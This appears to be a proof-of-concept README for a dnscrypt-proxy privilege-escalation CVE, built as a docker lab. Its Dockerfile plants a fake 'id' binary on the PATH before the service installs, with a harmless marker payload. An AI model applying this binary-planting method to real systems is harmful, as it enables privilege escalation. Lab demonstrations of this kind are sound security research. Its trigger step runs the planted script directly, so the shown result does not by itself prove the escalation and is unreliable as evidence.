CVE-2024-36587 - dnscrypt-proxy Local Privilege Escalation

Overview

• Vulnerability Description: When installing the dnscrypt-proxy service, it trusts and registers executables in the current directory, allowing privilege escalation by inserting a malicious binary.
• Affected Versions: dnscrypt-proxy v2.0.0-alpha9 ~ v2.1.5
• PoC Method: binary planting

Environment Setup

docker compose up --build

Once the build and execution are complete, a container is created.

Access the container:

docker run -it --privileged dnscrypt-poc-poc bash

Vulnerability Trigger

Inside the container:

/tmp/id
cat /tmp/poc_was_here

If Pwned_from_Docker is output, the PoC is successful.

Configuration Files

Dockerfile

FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    git \
    golang-go \
    sudo

WORKDIR /workspace

RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
    cd dnscrypt-proxy && \
    git checkout tags/2.1.0 && \
    go build -o proxy ./dnscrypt-proxy

RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
    chmod +x /tmp/id && \
    ln -sf /tmp/id /usr/local/bin/id

CMD ["./dnscrypt-proxy/proxy", "-service", "install"]

docker-compose.yaml

version: "3.8"

services:
  poc:
    build: .
    container_name: dnscrypt-poc
    privileged: true
    tty: true

References

• https://github.com/DNSCrypt/dnscrypt-proxy
• https://nvd.nist.gov/vuln/detail/CVE-2024-36587

Practice Result Screenshot

Detailed Report

For more detailed analysis and practice results, refer to the following PDF document:

PoC_Report_CVE-2024-36587.pdf